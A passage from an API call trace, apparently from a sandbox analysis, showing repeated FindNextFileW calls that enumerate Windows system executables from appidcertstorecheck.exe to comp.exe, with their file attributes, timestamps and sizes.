hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22f4ae5, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x22f4ae5, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xd99a1240, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="appidcertstorecheck.exe", cAlternateFileName="")) returned 1 [0225.612] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9cf143, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xb9cf143, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xd9a5f920, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x23e00, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="appidpolicyconverter.exe", cAlternateFileName="")) returned 1 [0225.612] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a17d73, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x84a17d73, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xd9ad2510, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="ARP.EXE", cAlternateFileName="")) returned 1 [0225.612] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fa1c868, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x1fa1c868, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xd9b45100, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="at.exe", cAlternateFileName="")) returned 1 [0225.612] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc10ef45b, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc10ef45b, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xd9b90bf0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="AtBroker.exe", cAlternateFileName="")) returned 1 [0225.612] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xd9b90bf0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="attrib.exe", cAlternateFileName="")) returned 1 [0225.612] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d6dcfc6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d6dcfc6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d703126, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1ee00, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="audiodg.exe", cAlternateFileName="")) returned 1 [0225.612] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9850cda, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xb9850cda, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xd9c9adc0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="auditpol.exe", cAlternateFileName="")) returned 1 [0225.612] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a59e84b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9a59e84b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9a5eab0c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xbde00, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="autochk.exe", cAlternateFileName="")) returned 1 [0225.612] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e31ba3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x97e31ba3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x97e7de63, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc1a00, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="autoconv.exe", cAlternateFileName="")) returned 1 [0225.612] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a14e063, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9a14e063, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9a1741c4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xba800, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="autofmt.exe", cAlternateFileName="")) returned 1 [0225.612] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa917cb2, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xaa917cb2, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xda2b55c0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="AxInstUI.exe", cAlternateFileName="")) returned 1 [0225.612] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad77102, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ad77102, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad77102, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2ae00, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="bcdboot.exe", cAlternateFileName="")) returned 1 [0225.612] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9716654b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9716654b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x973a19ef, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x54800, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="bcdedit.exe", cAlternateFileName="")) returned 1 [0225.612] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc17bc305, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xc17bc305, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xda694920, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xbe00, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="BdeUISrv.exe", cAlternateFileName="")) returned 1 [0225.612] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc086969a, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xc086969a, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xda72bf00, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="BdeUnlockWizard.exe", cAlternateFileName="")) returned 1 [0225.612] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x868bb544, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x868bb544, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x868e16a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38c00, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="bitsadmin.exe", cAlternateFileName="")) returned 1 [0225.612] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a941698, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x6a941698, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xdaba2840, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="bootcfg.exe", cAlternateFileName="")) returned 1 [0225.612] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39e6d0c2, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x39e6d0c2, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xdacd3b10, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5200, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="bridgeunattend.exe", cAlternateFileName="")) returned 1 [0225.612] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa71185d, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xfa71185d, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xdad1f600, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="bthudtask.exe", cAlternateFileName="")) returned 1 [0225.612] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdad1f600, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7a00, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="cacls.exe", cAlternateFileName="")) returned 1 [0225.612] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3786a5f, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xa3786a5f, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xdafa6590, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe0400, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="calc.exe", cAlternateFileName="")) returned 1 [0225.612] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa00af576, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xa00af576, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xdb312d00, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x11200, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="CertEnrollCtrl.exe", cAlternateFileName="")) returned 1 [0225.612] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d779bd5, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x9d779bd5, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xdb4689c0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4fa00, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="certreq.exe", cAlternateFileName="")) returned 1 [0225.612] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaba59ad6, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xaba59ad6, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xdb99d9e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x11f000, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="certutil.exe", cAlternateFileName="")) returned 1 [0225.612] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b5dd62, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b5dd62, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b83ec2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="change.exe", cAlternateFileName="")) returned 1 [0225.612] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x965e8982, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x965e8982, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xdba376d0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x28800, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="charmap.exe", cAlternateFileName="")) returned 1 [0225.612] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b83ec2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b83ec2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b83ec2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="chglogon.exe", cAlternateFileName="")) returned 1 [0225.612] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b83ec2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b83ec2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b83ec2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="chgport.exe", cAlternateFileName="")) returned 1 [0225.612] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b37c01, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b37c01, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b5dd62, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="chgusr.exe", cAlternateFileName="")) returned 1 [0225.612] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdc10dea0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="chkdsk.exe", cAlternateFileName="")) returned 1 [0225.613] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdc134fa0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="chkntfs.exe", cAlternateFileName="")) returned 1 [0225.613] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93205b17, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93205b17, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9322bc77, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="choice.exe", cAlternateFileName="")) returned 1 [0225.613] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x318b7149, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x318b7149, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdc23f170, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="cipher.exe", cAlternateFileName="")) returned 1 [0225.613] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbbfaf1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x7cbbfaf1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xdc2fd850, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x34c00, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="cleanmgr.exe", cAlternateFileName="")) returned 1 [0225.613] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7e5790, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xb7e5790, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xdc324950, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xc000, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="cliconfg.exe", cAlternateFileName="")) returned 1 [0225.613] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x391d06ff, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x391d06ff, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdc349340, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7e00, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="clip.exe", cAlternateFileName="")) returned 1 [0225.613] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8734b6f7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8734b6f7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87371858, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x54400, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="cmd.exe", cAlternateFileName="")) returned 1 [0225.613] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1030d73, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xb1030d73, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xdd3a6a80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="cmdkey.exe", cAlternateFileName="")) returned 1 [0225.613] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec55860, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x6ec55860, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xdd3cdb80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="cmdl32.exe", cAlternateFileName="")) returned 1 [0225.613] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d4445bb, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x7d4445bb, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xdd3f2570, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="cmmon32.exe", cAlternateFileName="")) returned 1 [0225.613] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8efab55c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8efab55c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8efab55c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16800, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="cmstp.exe", cAlternateFileName="")) returned 1 [0225.613] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ba021e4, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1ba021e4, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdd419670, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="cofire.exe", cAlternateFileName="")) returned 1 [0225.613] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19fdc04, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x19fdc04, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xdd465160, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x15200, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="colorcpl.exe", cAlternateFileName="")) returned 1 [0225.613] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x316ee0ed, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x316ee0ed, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdd48c260, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="comp.exe", cAlternateFileName="")) returned 1 [0225.613] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdd4b0c50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x4a0000, 